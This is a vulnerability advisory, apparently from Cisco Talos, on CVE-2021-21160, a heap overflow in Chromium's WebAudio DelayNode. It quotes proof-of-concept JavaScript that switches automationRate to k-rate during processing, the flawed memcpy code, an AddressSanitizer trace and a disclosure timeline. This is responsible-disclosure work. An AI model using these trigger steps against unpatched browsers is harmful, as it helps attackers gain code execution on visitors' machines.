CVE-2021-21160
An exploitable heap-based buffer overflow vulnerability exists in the Google Chromium browser affecting at least versions 89.0.4383.0 64-bit and 90.0.4390.0 64-bit. A specially crafted HTML web page can cause a heap-based Buffer Overflow condition, resulting in a remote code execution. The victim needs to visit malicious web site to trigger the vulnerability.
Google Chrome ver 841401 ( 89.0.4383.0 64-bit)
Google Chrome ver 844161 ( 90.0.4390.0 64-bit)
https://www.google.com/chrome/
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-122 - Heap-based Buffer Overflow
Google Chrome is a cross-platform web browser developed by Google.
To understand the vulnerability let us analyze some parts of the poc.html file and coresponding logged lines from the browser console:
"Mutation nodes amount : 6"
"[ 4:21:34 PM ] :: Connecting nodes"
"[ 4:21:34 PM ] :: Nodes connected"
"[ 4:21:34 PM ] :: MediaElementAudioSourceNode_handler"
"[ 4:21:34 PM ] :: AudioContext_handler"
"IIRFilterNode: state is bad, probably due to unstable filter."
"[ 4:21:34 PM ] :: ScriptProcessorNode_oncomplete"
"[ 4:21:34 PM ] :: Index : 1"
"[ 4:21:34 PM ] :: Connect IIRFilterNode to DelayNode.delayTime"
As we can see, after an initialization phase of PoC setup, first events start to appear and being handle.
Crucial actions for our PoC take place inside the oncomplete
event handler named ScriptProcessorNode_oncomplete
of the ScriptProcessorNode
node:
Line 42 var g_fuzzRandom_index = 0;
Line 43
Line 44 //events handlers
Line 45 function ScriptProcessorNode_oncomplete()
Line 46 {
Line 47 writeLog("ScriptProcessorNode_oncomplete");
Line 48
Line 49 g_fuzzRandom_index++;
Line 50 writeLog("Index : " + g_fuzzRandom_index);
Line 51
Line 52
Line 53 if(g_fuzzRandom_index == 1)
Line 54 {
Line 55 writeLog("Connect IIRFilterNode to DelayNode.delayTime");
Line 56 audioNodesObjects.mutation[4].obj.connect( audioNodesObjects.mutation[5].obj.delayTime );
Line 57 return;
Line 58 }
During the first execution of ScriptProcessorNode_oncomplete
event handler IIRFilterNode
node is being connected to an AudioParam object. In our case it is a delayTime
field of DelayNode
object line 56
.
That connection is required to trigger the vulnerability but tests have shown that beside IIRFilterNode
a different type of AudioNode can be also use to obtain the same result.
When the ScriptProcessorNode_oncomplete
handler is executed for a second time, the following lines will appear inside the log file:
"[ 4:21:35 PM ] :: ScriptProcessorNode_oncomplete"
"[ 4:21:35 PM ] :: Index : 2"
"[ 4:21:35 PM ] :: Switch delayTime of DelayNode to k-rate"
and the corresponding code is executed :
Line 59 if(g_fuzzRandom_index == 2)
Line 60 {
Line 61 //DelayNode
Line 62 writeLog("Switch delayTime of DelayNode to k-rate");
Line 63 audioNodesObjects.mutation[5].obj.delayTime.automationRate = "k-rate";
Line 64 return;
Line 65 }
The crucial code is executed in line 63
where value of automationRate
field is changed to k-rate
from a-rate
.
More details about possible AutomationRate
values are available here: https://www.w3.org/TR/webaudio/#dom-audioparam-automationrate
That switch during processing phase (we are inside oncomplete event handler) leads to the vulnerability inside blink::AudioDelayDSPKernel::ProcessKRate
method located in file third_party\blink\renderer\platform\audio\audio_delay_dsp_kernel.cc
.
As you might notice browsing code around blink::AudioDelayDSPKernel::ProcessKRate
there is also method responsible of data procesing in case when automationRate
field is set to a-rate
and its called AudioDelayDSPKernel::ProcessARate
.
As I mentioned before, it seems to runtime change from “a-rate” to “k-rate” during processing phase have lead to internal state confusion of the DelayNode
object and finally to the vulnerability in :
audio_delay_dsp_kernel.cc
Line 276 // Now copy out the samples from the buffer, starting at the read pointer,
Line 277 // carefully handling wrapping of the read pointer.
Line 278 float* read_pointer = &buffer[read_index1];
Line 279
Line 280 int remainder = buffer_end - read_pointer;
Line 281 memcpy(sample1, read_pointer,
Line 282 sizeof(*sample1) *
Line 283 std::min(static_cast<int>(frames_to_process), remainder));
There is no check whether buffer_end
is smaller than read_pointer
which in our case happens. Further in line 281
as a size parameter for memcpy
the smaller value of frames_to_process
and reminder
is selected.
Because both variables are treated as a signed integer our remainder
ends up beeing selected because its value is < 0. At the end its casted to size_t (unsigned value) what finally cause an attempt to copy a huge amount of memory.
Proper heap grooming can give an attacker full control of this heap overflow vulnerability and as a result could allow it to be turned into a arbitrary code execution.
=================================================================
==1076==ERROR: AddressSanitizer: negative-size-param: (size=-8589824196)
#0 0x7ff74867402f in __asan_memcpy C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\asan\asan_interceptors_memintrinsics.cpp:22
#1 0x7ffaf2dc9ab1 in blink::AudioDelayDSPKernel::ProcessKRate(float const *, float *, unsigned int) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\audio\audio_delay_dsp_kernel.cc:281:3
#2 0x7ffaf2dcf38c in blink::AudioDSPKernelProcessor::Process(class blink::AudioBus const *, class blink::AudioBus *, unsigned int) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\audio\audio_dsp_kernel_processor.cc:85:20
#3 0x7ffaf23dfbac in blink::AudioBasicProcessorHandler::Process(unsigned int) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\audio_basic_processor_handler.cc:85:18
#4 0x7ffaf0be1e26 in blink::AudioHandler::ProcessIfNecessary(unsigned int) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\audio_node.cc:368:7
#5 0x7ffaf18a8f2c in blink::AudioNodeOutput::Pull(class blink::AudioBus *, unsigned int) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\audio_node_output.cc:137:13
#6 0x7ffaf18abfe6 in blink::AudioNodeInput::SumAllConnections(class scoped_refptr<class blink::AudioBus>, unsigned int) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\audio_node_input.cc:128:40
#7 0x7ffaf18ac278 in blink::AudioNodeInput::Pull(class blink::AudioBus *, unsigned int) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\audio_node_input.cc:158:3
#8 0x7ffaf1953707 in blink::RealtimeAudioDestinationHandler::Render(class blink::AudioBus *, unsigned int, struct blink::AudioIOPosition const &, struct blink::AudioCallbackMetric const &) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\realtime_audio_destination_node.cc:207:18
#9 0x7ffaf23c15a7 in blink::AudioDestination::RequestRender(unsigned __int64, unsigned __int64, double, double, unsigned __int64) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\audio\audio_destination.cc:251:17
#10 0x7ffaf23c03f4 in blink::AudioDestination::Render(class blink::WebVector<float *> const &, unsigned __int64, double, double, unsigned __int64) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\audio\audio_destination.cc:194:5
#11 0x7ffaedebee86 in content::RendererWebAudioDeviceImpl::Render(class base::TimeDelta, class base::TimeTicks, int, class media::AudioBus *) C:\b\s\w\ir\cache\builder\src\content\renderer\media\renderer_webaudiodevice_impl.cc:253:21
#12 0x7ffada23aef4 in media::SilentSinkSuspender::Render(class base::TimeDelta, class base::TimeTicks, int, class media::AudioBus *) C:\b\s\w\ir\cache\builder\src\media\base\silent_sink_suspender.cc:84:14
#13 0x7ffada171b16 in media::AudioOutputDeviceThreadCallback::Process(unsigned int) C:\b\s\w\ir\cache\builder\src\media\audio\audio_output_device_thread_callback.cc:80:21
#14 0x7ffada15810f in media::AudioDeviceThread::ThreadMain(void) C:\b\s\w\ir\cache\builder\src\media\audio\audio_device_thread.cc:95:18
#15 0x7ffae1c7f18f in base::`anonymous namespace'::ThreadFunc C:\b\s\w\ir\cache\builder\src\base\threading\platform_thread_win.cc:111:13
#16 0x7ff74867e3a8 in __asan::AsanThread::ThreadStart(unsigned __int64, struct __sanitizer::atomic_uintptr_t *) C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\asan\asan_thread.cpp:273
#17 0x7ffba61a7c23 (C:\WINDOWS\System32\KERNEL32.DLL+0x180017c23)
#18 0x7ffba7ced4d0 (C:\WINDOWS\SYSTEM32\ntdll.dll+0x18006d4d0)
2021-01-26 - Vendor Disclosure
2021-02-09 - Vendor Patched
2021-05-19 - Public Release
Discovered by Marcin 'Icewall' Noga of Cisco Talos.